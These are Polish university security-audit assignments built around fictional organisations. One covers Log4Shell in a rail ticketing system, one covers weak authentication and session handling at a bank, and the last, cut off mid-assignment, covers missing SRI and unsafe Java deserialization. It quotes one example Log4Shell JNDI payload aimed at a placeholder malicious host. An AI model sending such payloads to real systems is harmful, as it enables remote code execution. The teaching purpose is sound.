Głównym celem zadania jest opanowanie przez studentów praktycznych umiejętności identyfikacji, inwentaryzacji i oceny ryzyka związanego ze stosowaniem podatnych i przestarzałych komponentów oprogramowania (kategoria OWASP Top 10:2021 - A06:2021 Vulnerable and Outdated Components) w krytycznych systemach obsługi pasażerów. Studenci badają portal sprzedaży biletów kolejowych, w którym wykorzystywano niewspierane i nieaktualizowane od lat wersje bibliotek open-source (w tym framework Apache Struts oraz podatną na zdalne wykonanie kodu wersję biblioteki Apache Log4j - podatność Log4Shell / CVE-2021-44228). Zadanie koncentruje się na analizie braku systemowego zarządzania podatnościami (Vulnerability Management), braku ewidencji komponentów oprogramowania (Software Bill of Materials - SBOM) oraz braku narzędzi automatycznego skanowania zależności (Software Composition Analysis - SCA). W ramach zadania studenci szacują ryzyko paraliżu sprzedaży biletów i kompromitacji infrastruktury przewoźnika w świetle Ustawy o KSC i Dyrektywy NIS2 oraz projektują kompleksową procedurę zarządzania cyklem życia komponentów zewnętrznych.

Powiązanie z sylabusem i treściami programowymi:

• U2 Wykrywanie i dokumentowanie niezgodności krytycznej (NC1) wynikającej z eksploatacji komponentów oprogramowania ze znanymi publicznie podatnościami CVE o najwyższym poziomie krytyczności (CVSS 10.0).
• U1 Opracowanie procedury inwentaryzacji bibliotek zewnętrznych (SBOM) oraz wdrożenia automatycznych bramek bezpieczeństwa SCA w potoku wytwórczym.
• U3 Szacowanie ryzyka zdalnego wykonania kodu (RCE), paraliżu sprzedaży biletów, strat finansowych i sankcji regulacyjnych dla podmiotów kluczowych.
• U4 Opracowanie pisemnego referatu oraz raportu z audytu podatności komponentów dla Zarządu Spółki i Pełnomocnika ds. Cyberbezpieczeństwa.
• W1 Znajomość wymogów zapewnienia ciągłości działania transportu publicznego, ochrony danych pasażerów oraz raportowania incydentów poważnych do właściwego CSIRT (CSIRT NASK/CSIRT MON/CSIRT GOV).
• W2W3 Zrozumienie wytycznych A06:2021 OWASP Top 10, normy ISO/IEC 27001:2022 (kontrole A.8.8 Zarządzanie podatnościami technicznymi, A.8.19 Instalacja oprogramowania w systemach operacyjnych), standardu CycloneDX/SPDX oraz Ustawy o KSC.
• K1K2K3 Zrozumienie zagrożeń płynących z łańcucha dostaw oprogramowania (Software Supply Chain), rzetelność weryfikacji baz CVE i obiektywizm audytorski.
• Powiązanie z wykładem: Wyk1 (Audyt u operatorów transportowych), Wyk3 (Kontrole A.8.8 i A.8.19 ISO 27001), Wyk4 (Wymogi KSC i NIS2 w sektorze transportu), Wyk6 (Skanowanie podatności, analiza zależności i triangulacja dowodów), Wyk7 (Klasyfikacja niezgodności i tworzenie zaleceń).

Koleje Regionalne Sp. z o.o. są jednym z największych pasażerskich przewoźników kolejowych w Polsce, przewożącym ponad 50 milionów pasażerów rocznie. Spółka eksploatuje internetowy system sprzedaży biletów 'e-Pociąg', obsługujący transakcje zakupu biletów jednorazowych i okresowych przez stronę WWW oraz aplikację mobilną.

Stan faktyczny w obszarze zarządzania bibliotekami i komponentami zewnętrznymi:

• System 'e-Pociąg' został wdrożony 6 lat temu przez zewnętrzną firmę programistyczną w architekturze Java EE opartej na frameworku Apache Struts 2 oraz serwerze aplikacji Apache Tomcat.
• Podczas audytu technicznego stwierdzono, że od momentu wdrożenia produkcyjnego w systemie nie przeprowadzono ani jednej aktualizacji bibliotek pomocniczych (Third-Party Libraries). W umowie serwisowej z dostawcą brak było zapisów nakładających obowiązek monitorowania podatności i wgrywania poprawek bezpieczeństwa dla komponentów open-source.
• Analiza struktury archiwum aplikacji (`.war`) oraz pliku zależności `pom.xml` ujawniła obecność skrajnie przestarzałej wersji biblioteki rejestrowania zdarzeń `log4j-core-2.14.1.jar`. Wersja ta jest obarczona krytyczną, powszechnie znaną podatnością Log4Shell (CVE-2021-44228, ocena CVSS v3: 10.0 Critical), która umożliwia nieuwierzytelnionemu atakującemu wykonanie dowolnego kodu w systemie operacyjnym serwera poprzez wysłanie spreparowanego ciągu JNDI (np. `${jndi:ldap://zlosliwy-serwer.pl/exploit}`) w nagłówku HTTP `User-Agent` lub polu wyszukiwania stacji kolejowej.
• Dodatkowo zidentyfikowano 14 innych komponentów ze znanymi podatnościami wysokimi i średnimi (np. podatne wersje bibliotek Jackson Databind, Spring Framework oraz przestarzały sterownik JDBC PostgreSQL podatny na Denial of Service).
• Spółka nie posiada żadnego rejestru komponentów oprogramowania (brak dokumentu Software Bill of Materials - SBOM), w zespole IT nie stosuje się narzędzi typu Dependency-Check, Snyk czy Trivy, a administratorzy nie subskrybują biuletynów bezpieczeństwa CERT Polska i producentów oprogramowania.
• W logach serwera aplikacji z ostatnich 3 miesięcy audytorzy zidentyfikowali setki zautomatyzowanych zapytań ze skanerów internetowych zawierających ciągi `${jndi:...}`, które trafiały do nieaktualizowanej biblioteki Log4j, stwarzając bezpośrednie ryzyko całkowitego przejęcia kontroli nad serwerem i bazą kart płatniczych pasażerów.

Prezes Zarządu Kolei Regionalnych zleca pilny audyt zarządzania komponentami aplikacji i przedstawienie planu eliminacji podatności w oparciu o zalecenia OWASP i KSC.

Praca w zespole 2-3 osobowym polega na analizie podatności przestarzałych komponentów, weryfikacji wektorów RCE oraz zaprojektowaniu procesu ciągłego zarządzania podatnościami oprogramowania:

• Krok 1 (Podział ról w grupie audytowej):

  Student 1 (Audytor Wiodący / Umowy SLA i Zarządzanie Łańcuchem Dostaw): Bada zapisy umów serwisowych z dostawcą oprogramowania pod kątem odpowiedzialności za aktualizację komponentów, weryfikuje spełnienie wymogów Ustawy o KSC i Dyrektywy NIS2 w sektorze transportowym oraz koordynuje strukturę referatu.

  Student 2 (Audytor Techniczny ds. Komponentów Open-Source i CVE): Analizuje architekturę aplikacji Java EE, bada pliki zależności Maven/Gradle, weryfikuje podatność Log4Shell (CVE-2021-44228) oraz dekonstruuje mechanizm ataku JNDI Injection w oparciu o kategorię A06:2021 OWASP Top 10.

  Student 3 (Audytor Bezpieczeństwa SDLC i Narzędzi SCA/SBOM): Projektuje procedurę automatycznego generowania SBOM (standard CycloneDX), dobiera i konfiguruje narzędzia Software Composition Analysis (OWASP Dependency-Check, Trivy) oraz weryfikuje kontrolę A.8.8 i A.8.19 normy ISO/IEC 27001. W zespole 2-osobowym obowiązki te dzielą Studenci 1 i 2.

• Krok 2 (Triangulacja dowodów audytowych):

  Powiążcie listę plików JAR z katalogu `WEB-INF/lib`, zapisy w bazie podatności National Vulnerability Database (NVD) dotyczące CVE-2021-44228 oraz wpisy ze złośliwymi ciągami JNDI w logach serwera Tomcat (`catalina.out`). Wykażcie obecność podatności o maksymalnym poziomie ryzyka.

• Krok 3 (Kwalifikacja niezgodności):

  Sformułujcie kartę niezgodności krytycznej (NC1) z powołaniem na kontrolę ISO/IEC 27001:2022 A.8.8 (Zarządzanie podatnościami technicznymi) oraz art. 8 Ustawy o KSC (obowiązek obsługi incydentów i podatności). Sformułujcie szansę na doskonalenie (OFI) dotyczącą zintegrowania skanera zależności w potoku CI/CD.

• Krok 4 (Koncepcja rozwiązania problemu):

  Zaprojektujcie dwufazowy program naprawczy:

  1. Działania natychmiastowe mitygujące (Emergency Patching): awaryjna aktualizacja biblioteki Log4j do bezpiecznej wersji 2.17.1+ lub tymczasowe uruchomienie serwera JVM z parametrem `-Dlog4j2.formatMsgNoLookups=true` oraz usunięcie klasy `JndiLookup` z pliku JAR poleceniem `zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class`.

  2. Działania systemowe procesowe:

  • Wdrożenie automatycznego generowania wykazu komponentów SBOM (Software Bill of Materials) w standardzie CycloneDX przy każdej kompilacji aplikacji.
  • Zaimplementowanie w procesie wytwórczym narzędzia SCA (np. OWASP Dependency-Check / Snyk), które automatycznie blokuje budowanie wydania produkcyjnego w przypadku wykrycia komponentów z podatnościami o CVSS >= 7.0.
  • Znowelizowanie umów serwisowych z dostawcami IT poprzez wprowadzenie bezwzględnego wymogu dostarczania poprawek bezpieczeństwa dla komponentów zewnętrznych w terminie do 7 dni od publikacji CVE krytycznych.
• Krok 5 (Przygotowanie referatu i dokumentacji poaudytowej):

  Zestawcie wady i zalety proponowanego podejścia (np. konieczność testów regresyjnych po aktualizacji bibliotek vs. eliminacja podatności RCE) i opracujcie referat seminaryjny.

Plan prezentacji referatu seminaryjnego (10-15 minut):

• Prezentacja systemu e-Pociąg i kontekstu audytu w Kolejach Regionalnych (2 min): Rola systemu sprzedaży biletów, status podmiotów kluczowych i tło audytu (Student 1).
• Dekonstrukcja podatności A06:2021 - Vulnerable and Outdated Components (4 min): Mechanizm podatności Log4Shell (CVE-2021-44228), wektor JNDI Injection, analiza pliku `pom.xml` i dowody prób eksploatacji w logach serwera (Student 2).
• Ocena ryzyka operacyjnego, paraliżu transportu i sankcji KSC/NIS2 (3 min): Skutki zdalnego wykonania kodu na serwerze produkcyjnym, kradzież danych płatniczych pasażerów i odpowiedzialność Zarządu (Student 3 lub Student 1).
• Przedstawienie procedury naprawczej, koncepcji SBOM i narzędzi SCA (3 min): Awaryjne łatkowanie, automatyzacja wykrywania podatności w potokach CI/CD, standard CycloneDX i aktualizacja umów SLA (Student 2 i Student 3).
• Podsumowanie, rekomendacje poaudytowe i dyskusja z salą (2 min): Wnioski końcowe i odpowiedzi na pytania uczestników zajęć (cały zespół).

Wymagana treść pisemnego raportu i referatu studenckiego:

1. Odpowiedzi na pytania problemowe:

• Dlaczego podatności w komponentach zewnętrznych (Third-Party Components) i bibliotekach open-source stanowią obecnie jedno z głównych źródeł incydentów bezpieczeństwa (zagrożenie łańcucha dostaw oprogramowania)?
• Czym jest dokument Software Bill of Materials (SBOM) i jaką rolę odgrywa w zarządzaniu cyberbezpieczeństwem organizacji zgodnie z zaleceniami ENISA i NIST?
• W jaki sposób zautomatyzowane narzędzia Software Composition Analysis (SCA) mogą zapobiec wdrożeniu na produkcję aplikacji z krytyczną podatnością typu Log4Shell?

2. Opis stanu faktycznego w systemie 'e-Pociąg' oraz wykazu zidentyfikowanych przestarzałych bibliotek.

3. Karta niezgodności audytowej z powołaniem na kontrolę A.8.8 ISO/IEC 27001:2022 oraz art. 8 Ustawy o KSC.

4. Szczegółowe rozwiązanie problemu:

• Procedura awaryjnego usunięcia podatności Log4Shell z działającego serwera aplikacji.
• Wzorcowa konfiguracja potoku budowania (np. plugin Maven OWASP Dependency-Check) z bramką jakościową zatrzymującą kompilację przy wykryciu podatności wysokich.
• Projekt polityki zarządzania podatnościami technicznymi i aktualizacjami komponentów zewnętrznych w spółce kolejowej.

5. Analiza zalet i wad wybranego rozwiązania:

• Zalety: pełna widoczność łańcucha dostaw oprogramowania, proaktywne wykrywanie podatności przed wdrożeniem na produkcję, zgodność z KSC i NIS2.
• Wady/wyzwania: ryzyko zakłócenia działania aplikacji przy aktualizacjach bibliotek o zmienionym API (breaking changes), konieczność przeprowadzania pełnych testów regresyjnych.

6. Bibliografia, netografia i odnośniki do norm i przepisów prawnych (KSC, NIS2, ISO 27001, bazy CVE/NVD, OWASP).

• OWASP Foundation: "OWASP Top 10:2021", A06:2021 Vulnerable and Outdated Components.
• National Institute of Standards and Technology (NIST): National Vulnerability Database (NVD) - wpis CVE-2021-44228 (Apache Log4j Remote Code Execution).
• OWASP Foundation: "Dependency-Check - Software Composition Analysis Tool", 2023.
• Cybersecurity and Infrastructure Security Agency (CISA): "Framing Software Component Transparency: Establishing a Common Software Bill of Materials (SBOM)", 2021.
• Norma PN-EN ISO/IEC 27001:2022: Załącznik A - kontrole A.8.8 (Zarządzanie podatnościami technicznymi), A.8.19 (Instalacja oprogramowania w systemach operacyjnych).
• Ustawa z dnia 5 lipca 2018 r. o krajowym systemie cyberbezpieczeństwa (Dz.U. z 2022 r. poz. 1868 z późn. zm.).

• U2 Identyfikacja krytycznych podatności w bibliotekach open-source oraz ocena wskaźnika CVSS.
• U1 Projekt procedury generowania SBOM oraz integracji narzędzi skanowania SCA w procesie wytwórczym.
• U3 Szacowanie ryzyka zdalnego wykonania kodu i kompromitacji infrastruktury transportu publicznego.
• U4 Przygotowanie raportu poaudytowego oraz prezentacja referatu przed audytorium akademickim.
• W1W2W3 Zrozumienie zagrożeń łańcucha dostaw oprogramowania, wymogów KSC, NIS2 i normy ISO 27001.
• K1K2K3 Obiektywizm audytorski, odpowiedzialność za bezpieczeństwo usług transportowych i rzetelność zawodowa.

Podczas referatu zilustrujcie słuchaczom mechanizm podatności Log4Shell na czytelnym schemacie interakcji: wysłanie złośliwego ciągu przez klienta -> rejestracja w logu przez Log4j -> odpytanie serwera JNDI/LDAP -> załadowanie i wykonanie obcego kodu w procesie Javy.

Głównym celem zadania jest nabycie przez studentów praktycznych umiejętności badania, analizowania i audytowania mechanizmów identyfikacji, uwierzytelniania i zarządzania sesją w aplikacjach internetowych (kategoria OWASP Top 10:2021 - A07:2021 Identification and Authentication Failures). Studenci badają system bankowości elektronicznej banku spółdzielczego, w którym stwierdzono podatność formularza logowania na zautomatyzowane ataki siłowe (Brute-Force) oraz ataki wykorzystujące wycieki poświadczeń z innych serwisów (Credential Stuffing) z powodu braku blokady kont po serii nieudanych prób logowania, braku mechanizmów CAPTCHA, braku wymuszenia uwierzytelniania wieloskładnikowego (MFA) przy logowaniu do panelu podglądu salda oraz podatności identyfikatorów sesji (brak unieważnienia identyfikatora sesji po wylogowaniu - Session Fixation / Zombie Session). Zadanie koncentruje się na ocenie zgodności z Rekomendacją D i M Komisji Nadzoru Finansowego (KNF), Rozporządzeniem DORA oraz standardem PSD2/EBA, a także na opracowaniu standardu silnego uwierzytelniania i bezpiecznego cyklu życia sesji użytkownika.

Powiązanie z sylabusem i treściami programowymi:

• U2 Wykrywanie i dokumentowanie niezgodności krytycznej (NC1) w mechanizmach uwierzytelniania i ochrony sesji w systemie bankowym.
• U1 Opracowanie zaleceń inżynierskich wdrożenia silnego uwierzytelniania (MFA), mechanizmów ochrony przed atakami słownikowymi oraz procedur rotacji identyfikatorów sesji.
• U3 Szacowanie ryzyka nieautoryzowanego przejęcia rachunków bankowych klientów, kradzieży środków finansowych, strat odszkodowawczych i kar nakładanych przez KNF.
• U4 Sporządzenie pisemnego referatu oraz raportu z audytu mechanizmów uwierzytelniania dla Zarządu Banku i Inspektora Nadzoru Bankowego.
• W1 Znajomość przepisów Prawa bankowego, tajemnicy bankowej, wytycznych EBA oraz przepisów o usługach płatniczych (dyrektywa PSD2).
• W2W3 Zrozumienie wytycznych A07:2021 OWASP Top 10, metodologii WSTG-ATHN i WSTG-SESS, normy ISO/IEC 27001:2022 (kontrole A.5.17 Informacje uwierzytelniające, A.8.5 Bezpieczne uwierzytelnianie) oraz Rozporządzenia DORA.
• K1K2K3 Wysoka dyscyplina etyczna, zrozumienie wrażliwości operacji finansowych i rzetelność w ocenie mechanizmów bezpieczeństwa bankowego.
• Powiązanie z wykładem: Wyk1 (Audyt w sektorze bankowym DORA/KNF), Wyk3 (Kontrola A.8.5 ISO 27001), Wyk4 (Rekomendacja D KNF i PSD2), Wyk6 (Analiza logów uwierzytelniania i sesji), Wyk7 (Klasyfikacja niezgodności i tworzenie raportu końcowego).

Mazowiecki Bank Spółdzielczy w Otwocku obsługuje ponad 40 000 klientów indywidualnych oraz lokalnych przedsiębiorców i rolników. Podstawowym kanałem obsługi klienta jest portal bankowości internetowej 'e-Spółdzielca'.

Stan faktyczny w obszarze procedur uwierzytelniania i zarządzania sesją:

• Podczas audytu przeanalizowano proces logowania klienta do systemu bankowego (`login.php`). Użytkownik wprowadza 8-cyfrowy identyfikator oraz hasło statyczne.
• Stwierdzono, że aplikacja nie posiada żadnego mechanizmu ograniczania liczby błędnych prób logowania (brak blokady konta po 3-5 nieudanych próbach) ani opóźnień czasowych (Rate Limiting). Test audytorski z użyciem skryptu automatycznego wykonał 500 prób logowania na jedno konto w czasie 45 sekund bez żadnej reakcji obronnej ze strony serwera.
• Na stronie logowania nie zastosowano żadnego mechanizmu wykrywania botów (brak CAPTCHA lub Cloudflare Turnstile), co czyni system całkowicie bezbronnym wobec zmasowanych ataków typu Credential Stuffing prowadzonych w oparciu o publiczne listy skradzionych haseł.
• Bank wdrożył uwierzytelnianie dwuskładnikowe (kod SMS / autoryzacja w aplikacji mobilnej) wyłącznie na etapie zatwierdzania przelewu wychodzącego, natomiast samo logowanie do serwisu i przeglądanie historii transakcji, salda konta oraz danych osobowych chronione jest wyłącznie jednym hasłem statycznym (naruszenie standardów silnego uwierzytelniania klienta - SCA według dyrektywy PSD2 i Rekomendacji D KNF).
• W module zarządzania sesją wykryto, że identyfikator sesji (`PHPSESSID`) jest generowany przy pierwszym wejściu na stronę i nie ulega regeneracji (zmianie) po poprawnym uwierzytelnieniu użytkownika (podatność Session Fixation).
• Ponadto po kliknięciu przycisku 'Wyloguj' aplikacja niszczy ciasteczko sesyjne w przeglądarce, jednak po stronie serwera token sesji nadal pozostaje aktywny w pamięci podręcznej przez kolejne 60 minut. Przesłanie żądania HTTP z przechwyconym wcześniej identyfikatorem sesji umożliwia natychmiastowe wznowienie sesji bankowej bez podawania hasła.

Prezes Zarządu Banku zleca zespołowi audytorskiemu przeprowadzenie natychmiastowego audytu bezpieczeństwa procedur uwierzytelniania i dostosowanie portalu do rygorów KNF i DORA.

Praca w zespole 2-3 osobowym polega na zbadaniu mechanizmów uwierzytelniania, analizie podatności sesyjnych i opracowaniu standardu bezpiecznej autoryzacji w banku:

• Krok 1 (Podział ról w grupie audytowej):

  Student 1 (Audytor Wiodący / Regulacje Bankowe KNF i DORA): Dokonuje analizy procedur bankowych pod kątem zgodności z Rekomendacją D i M KNF, wymogami silnego uwierzytelniania (SCA) w dyrektywie PSD2, przepisami Rozporządzenia DORA oraz koordynuje strukturę referatu.

  Student 2 (Audytor Techniczny ds. Bezpieczeństwa Uwierzytelniania i Sesji): Analizuje podatność formularza na ataki Brute-Force/Credential Stuffing, bada cykl życia identyfikatora sesji, podatność Session Fixation i zjawisko aktywnej sesji po wylogowaniu, projektuje reguły regeneracji sesji (`session_regenerate_id()`) oraz bezpieczne unieważnianie po stronie serwera.

  Student 3 (Audytor Ryzyka Finansowego i Bezpieczeństwa Tożsamości): Szacuje ryzyko strat finansowych klientów, kradzieży tożsamości, kar KNF, weryfikuje brak kontroli A.5.17 i A.8.5 normy ISO/IEC 27001 oraz projektuje mechanizm blokady kont i adaptacyjnego MFA. W zespole 2-osobowym obowiązki te dzielą Studenci 1 i 2.

• Krok 2 (Triangulacja dowodów audytowych):

  Zestawcie zrzuty logów z wielokrotnymi nieudanymi próbami logowania bez blokady konta, analizę nagłówków `Set-Cookie` przed i po zalogowaniu oraz zapisy żądań HTTP potwierdzające działanie sesji po wylogowaniu. Wykażcie naruszenie elementarnych zasad higieny sesyjnej.

• Krok 3 (Kwalifikacja niezgodności):

  Sformułujcie kartę niezgodności krytycznej (NC1) z odwołaniem do kontroli ISO/IEC 27001:2022 A.8.5 (Bezpieczne uwierzytelnianie), Rekomendacji D KNF (obszar zarządzania tożsamością i dostępem) oraz art. 9 Rozporządzenia DORA. Sformułujcie szansę na doskonalenie (OFI) dotyczącą wdrożenia analizy behawioralnej logowań.

• Krok 4 (Koncepcja rozwiązania problemu):

  Zaprojektujcie wzorcowy proces uwierzytelniania bankowego:

  1. Ochrona przed atakami siłowymi: wprowadzenie blokady konta po 3 nieudanych próbach logowania (czasowa blokada na 15 minut z możliwością odblokowania przez infolinię lub SMS), wdrożenie mechanizmu CAPTCHA po 2 błędnej próbie oraz ograniczenie liczby zapytań z jednego adresu IP (Rate Limiting na poziomie WAF).

  2. Wymuszenie silnego uwierzytelniania (MFA): wprowadzenie dwuskładnikowego uwierzytelniania (hasło + powiadomienie PUSH w aplikacji mobilnej lub kod SMS) już na etapie logowania do systemu.

  3. Bezpieczne zarządzanie sesją:

  • Bezwzględna regeneracja identyfikatora sesji (`session_regenerate_id(true)`) w momencie zmiany stanu uwierzytelnienia.
  • Całkowite niszczenie danych sesyjnych po stronie serwera w momencie wylogowania (`session_destroy()`).
  • Ustawienie krótkiego czasu bezczynności (Idle Timeout = 5 minut) oraz flag bezpieczeństwa ciasteczek: `Secure`, `HttpOnly`, `SameSite=Strict`.
• Krok 5 (Przygotowanie referatu i dokumentacji poaudytowej):

  Zestawcie wady i zalety proponowanego rozwiązania (np. konieczność dodatkowego kroku przy każdym logowaniu klienta vs. całkowita ochrona przed kradzieżą konta) i przygotujcie referat seminaryjny.

Plan prezentacji referatu seminaryjnego (10-15 minut):

• Prezentacja Mazowieckiego Banku Spółdzielczego i kontekstu audytu (2 min): Specyfika bankowości elektronicznej, zaufanie klientów i rygory KNF/DORA (Student 1).
• Dekonstrukcja podatności A07:2021 - Identification and Authentication Failures (4 min): Brak blokady konta, demonstracja ataku Brute-Force/Credential Stuffing, brak regeneracji sesji i podatność Zombie Session (Student 2).
• Wymogi Rekomendacji D KNF, dyrektywy PSD2 i analiza ryzyka finansowego (3 min): Standardy Strong Customer Authentication (SCA), kary finansowe KNF i odpowiedzialność banku za nieautoryzowane transakcje (Student 3 lub Student 1).
• Prezentacja rozwiązań naprawczych oraz analiza wad i zalet (3 min): Wdrożenie blokad kont, MFA na etapie logowania, regeneracja sesji, flagi ciasteczek i mechanizmy WAF (Student 2 i Student 3).
• Podsumowanie, rekomendacje poaudytowe i dyskusja z salą (2 min): Odpowiedzi na pytania uczestników i wnioski końcowe (cały zespół).

Wymagana treść pisemnego raportu i referatu studenckiego:

1. Odpowiedzi na pytania problemowe:

• Czym różni się atak Brute-Force od ataku Credential Stuffing i dlaczego stosowanie haseł statycznych bez mechanizmu MFA jest obecnie uznawane w bankowości za błąd krytyczny?
• Na czym polega atak Session Fixation i w jaki sposób regeneracja identyfikatora sesji po zalogowaniu neutralizuje to zagrożenie?
• Jakie wymogi w zakresie silnego uwierzytelniania klienta (Strong Customer Authentication - SCA) nakłada na instytucje finansowe dyrektywa PSD2 oraz Rekomendacja D KNF?

2. Opis stanu faktycznego portalu 'e-Spółdzielca' i zidentyfikowanych uchybień w procesie uwierzytelniania.

3. Karta niezgodności audytowej z powołaniem na kontrolę A.8.5 normy ISO/IEC 27001:2022, Rekomendację D KNF oraz Rozporządzenie DORA.

4. Szczegółowe rozwiązanie problemu:

• Diagram stanów procesu logowania z uwzględnieniem liczników błędów, blokady czasowej i bramki MFA.
• Prawidłowy fragment kodu PHP/Java realizujący bezpieczną regenerację sesji i niszczenie tokenów serwerowych przy wylogowaniu.
• Wykaz parametrów konfiguracyjnych ciasteczka sesyjnego (`Secure`, `HttpOnly`, `SameSite`, `Max-Age`).

5. Analiza zalet i wad wybranego rozwiązania:

• Zalety: całkowita odporność na automatyczne przejęcia kont, zgodność z wytycznymi KNF i DORA, ochrona przed kradzieżą tożsamości bankowej.
• Wady/wyzwania: niewielkie obniżenie wygody użytkownika (konieczność potwierdzania logowania drugim składnikiem), ryzyko zablokowania konta przez zapominalskich klientów i wzrost obciążenia infolinii.

6. Bibliografia, netografia i odnośniki do norm i przepisów prawnych (Prawo bankowe, Rekomendacja D KNF, PSD2, DORA, OWASP).

• OWASP Foundation: "OWASP Top 10:2021", A07:2021 Identification and Authentication Failures.
• OWASP Foundation: "Authentication Cheat Sheet" & "Session Management Cheat Sheet", 2023.
• Urząd Komisji Nadzoru Finansowego: "Rekomendacja D dotycząca zarządzania obszarami technologii informacyjnej i bezpieczeństwa środowiska teleinformatycznego w bankach", Warszawa 2013.
• Rozporządzenie Parlamentu Europejskiego i Rady (UE) 2022/2554 (DORA) - art. 9 (Ochrona i zapobieganie).
• Dyrektywa Parlamentu Europejskiego i Rady (UE) 2015/2366 (PSD2) - art. 97 (Silne uwierzytelnianie klienta).
• Norma PN-EN ISO/IEC 27001:2022: Załącznik A - kontrole A.5.17 (Informacje uwierzytelniające), A.8.5 (Bezpieczne uwierzytelnianie).

• U2 Identyfikacja błędów uwierzytelniania i zarządzania sesją w aplikacji bankowej.
• U1 Projekt architektury silnego uwierzytelniania MFA i bezpiecznego cyklu życia sesji.
• U3 Szacowanie ryzyka nieautoryzowanych transakcji finansowych i naruszenia tajemnicy bankowej.
• U4 Przygotowanie formalnego raportu poaudytowego oraz obrona tez referatu na zajęciach.
• W1W2W3 Dogłębna znajomość wymogów Rekomendacji D KNF, DORA, PSD2 i normy ISO 27001.
• K1K2K3 Profesjonalizm, odpowiedzialność za bezpieczeństwo środków finansowych i etyka audytorska.

W referacie seminaryjnym przedstawcie różnicę w bezpieczeństwie sesji przy użyciu analizy nagłówków HTTP przed i po wylogowaniu, demonstrując dlaczego samo skasowanie ciasteczka w przeglądarce bez usunięcia sesji na serwerze stwarza ryzyko przejęcia konta.

Głównym celem zadania jest wykształcenie u studentów umiejętności badania, weryfikacji i oceny podatności związanych z naruszeniem integralności kodu, danych i łańcucha dostaw oprogramowania (kategoria OWASP Top 10:2021 - A08:2021 Software and Data Integrity Failures). Studenci badają samorządowy portal elektronicznych zamówień publicznych (e-Przetargi), w którym zidentyfikowano ładowanie zewnętrznych bibliotek JavaScript z publicznych sieci dostarczania treści (CDN) bez weryfikacji ich integralności za pomocą mechanizmu Subresource Integrity (SRI) oraz stosowanie niebezpiecznej deserializacji obiektów Java w module przesyłania załączników ofertowych przez wykonawców. Zadanie koncentruje się na analizie ryzyka wstrzyknięcia złośliwego kodu przez przejętą sieć CDN (atak Supply Chain / Magecart), ryzyka zdalnego wykonania kodu (RCE) poprzez deserializację niezaufanych danych oraz naruszenia zasad uczciwej konkurencji i tajemnicy ofert w świetle Ustawy - Prawo zamówień publicznych (PZP) i Rozporządzenia ws. KRI.

Powiązanie z sylabusem i treściami programowymi:

• U2 Identyfikacja niezgodności (NC1/NC2) związanych z brakiem kontroli integralności kodu zewnętrznego i bezpiecznego przetwarzania danych wejściowych.
• U1 Opracowanie zaleceń inżynierskich wdrożenia atrybutów SRI (`integrity`) dla zasobów CDN oraz bezpiecznych formatów wymiany danych (JSON bez deserializacji polimorficznej).
• U3 Szacowanie ryzyka sfałszowania ofert przetargowych, wycieku ofert przed otwarciem, unieważnienia postępowań o wartości setek milionów złotych i utraty reputacji urzędu.
• U4 Sporządzenie pisemnego referatu oraz ustrukturyzowanego raportu poaudytowego dla Marszałka Województwa i Głównego Architekta Systemów IT.
• W1 Znajomość przepisów Ustawy - Prawo zamówień publicznych (tajemnica ofert, integralność postępowań) oraz odpowiedzialności dyscyplinarnej w finansach publicznych.
• W2W3 Zrozumienie wytycznych A08:2021 OWASP Top 10, zaleceń W3C w zakresie Subresource Integrity, normy ISO/IEC 27001:2022 (kontrole A.8.28 Bezpieczne kodowanie, A.8.30 Bezpieczeństwo testów, A.8.25 Bezpieczny cykl życia rozwoju) oraz § 20 KRI.
• K1K2K3 Obiektywizm audytorski, poszanowanie transparentności procedur publicznych i odpowiedzialność za bezpieczeństwo cyfrowego państwa.
• Powiązanie z wykładem: Wyk1 (Audyt w administracji rządowej i samorządowej), Wyk3 (Kontrole A.8.28 i A.8.30 ISO 27001), Wyk4 (KRI i Prawo zamówień publicznych), Wyk6 (Analiza kodu źródłowego, nagłówków HTML i obiektów deserializacji), Wyk7 (Klasyfikacja niezgodności i tworzenie raportu końcowego).

Urząd Marszałkowski Województwa Lubelskiego prowadzi platformę 'e-Przetargi Lubelskie', za pośrednictwem której samorządy, szpitale i instytucje wojewódzkie publikują ogłoszenia o przetargach publicznych, a wykonawcy składają zaszyfrowane oferty na roboty budowlane, dostawy sprzętu medycznego i usługi IT o łącznej wartości przekraczającej 1,2 mld PLN rocznie.

Stan faktyczny w obszarze integralności kodu i modułów aplikacji:

• W kodzie źródłowym stron portalu przetargowego stwierdzono, że kluczowe biblioteki interfejsu (m.in. jQuery, Bootstrap, biblioteki formularzy podpisu elektronicznego) są pobierane bezpośrednio z publicznych, darmowych serwerów CDN:

  `<script src="https://cdn.niezweryfikowany-dostawca.org/jquery-3.5.1.min.js"></script>`

• W żadnym z kilkunastu odwołań do zewnętrznych skryptów nie zastosowano atrybutu `integrity` zawierającego kryptograficzny skrót pliku (SHA-384/SHA-512) ani atrybutu `crossorigin="anonymous"`.
• W przypadku przejęcia kontroli nad zewnętrznym serwerem CDN przez hakerów lub podstawienia złośliwej wersji skryptu (np. w wyniku ataku DNS Spoofing), obcy kod JavaScript wykona się w przeglądarkach wszystkich urzędników i oferentów, co umożliwia kradzież haseł, przechwytywanie kluczy prywatnych podpisów kwalifikowanych oraz podmienianie treści ofert w locie.
• Co więcej, w module przesyłania załączników ofertowych w formacie technicznym system wykorzystuje mechanizm natywnej deserializacji obiektów języka Java (`ObjectInputStream.readObject()`). Dane wejściowe przesyłane przez wykonawców w postaci strumienia binarnego nie są w żaden sposób walidowane przed rekonstrukcją obiektu w pamięci serwera.
• Audytorzy, wykorzystując powszechnie znany zestaw gadżetów (Gadget Chains - biblioteka `ysoserial` / Apache Commons Collections obecna na serwerze), przygotowali spreparowany pakiet binarny, którego przesłanie spowodowało wykonanie polecenia systemowego `whoami` na serwerze produkcyjnym urzędu (Remote Code Execution - RCE).
• W logach platformy brak było mechanizmów weryfikacji sum kontrolnych wgrywanych plików oraz walidacji integralności skryptów klienckich.

Marszałek Województwa powołuje zespół audytorski z zadaniem wyjaśnienia luk integralności i opracowania standardu zabezpieczeń portalu e-Zamówień.

Praca w zespole 2-3 osobowym polega na analizie podatności integralności oprogramowania, dekonstrukcji zagrożeń łańcucha dostaw i niebezpiecznej deserializacji oraz zaprojektowaniu szczelnych kontroli:

• Krok 1 (Podział ról w grupie audytowej):

  Student 1 (Audytor Wiodący / Prawo Zamówień Publicznych i Zgodność KRI): Analizuje regulamin platformy przetargowej, wymogi Ustawy - Prawo zamówień publicznych w zakresie integralności i nienaruszalności ofert, przepisy KRI oraz koordynuje strukturę referatu.

